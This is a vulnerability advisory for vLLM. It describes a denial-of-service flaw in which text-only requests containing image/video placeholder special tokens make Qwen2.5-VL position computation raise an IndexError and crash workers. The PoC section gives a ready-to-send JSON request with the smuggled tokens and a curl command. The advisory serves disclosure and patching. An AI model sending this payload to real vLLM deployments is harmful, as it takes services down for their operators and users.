PT-2026-60020 · Pypi · Vllm

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

6.5

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

This report explains a Token Injection vulnerability in vLLM’s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on image grid thw/video grid thw are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.

Details

  • Affected component: multimodal input position computation.
  • File/functions (paths are indicative):
  • vllm/model executor/layers/rotary embedding.py
  • get input positions tensor(...)
  • vl get input positions tensor(...)
  • Failure mechanism:
  • The code counts detected vision tokens and then indexes video grid thw/image grid thw accordingly.
  • When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.
Representative snippet (context):
python
# vllm/model executor/layers/rotary embedding.py
@classmethod
def vl get input positions tensor(
  cls,
  input tokens,
  hf config,
  image grid thw,
  video grid thw,
  ...,
):
  # detect video tokens
  video nums = (vision tokens == video token id).sum()
  # later in processing
  t, h, w = (
    video grid thw[video index][0], # IndexError if no video data
    video grid thw[video index][1],
    video grid thw[video index][2],
  )
Abbreviated call path:
OpenAI API request
 → vllm.v1.engine.core: step/execute model
 → vllm.v1.worker.gpu model runner: update states/execute model
 → vllm.model executor.layers.rotary embedding: get input positions tensor
 → vl get input positions tensor
 → IndexError: list index out of range

PoC

Environment

  • vLLM: 0.10.0
  • Model: Qwen/Qwen2.5-VL-3B-Instruct
  • Launch server:
bash
python -m vllm.entrypoints.openai.api server 
 --model Qwen/Qwen2.5-VL-3B-Instruct 
 --port 8000

Request (text-only, no image/video data)

bash
cat > request.json <<'JSON'
{
 "model": "Qwen/Qwen2.5-VL-3B-Instruct",
 "messages": [
  {
   "role": "user",
   "content": [
    { "type": "text",
     "text": "what's in picture <|vision start|><|image pad|><|vision end|>" }
   ]
  }
 ]
}
JSON

curl -s http://127.0.0.1:8000/v1/chat/completions 
 -H 'Content-Type: application/json' 
 --data @request.json

Observed result

  • HTTP 500; logs show IndexError: list index out of range from vl get input positions tensor(...).
  • In some deployments, the worker exits and capacity remains reduced until manual restart.

Impact

  • Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.
  • Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).
  • Effect: Request → unhandled exception in position computation → worker termination / service unavailability.

Fixes

Credits

Pengyu Ding (Infra Security, Ant Group) Ziteng Xu (Infra Security, Ant Group)

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-3409

Affected Products

Vllm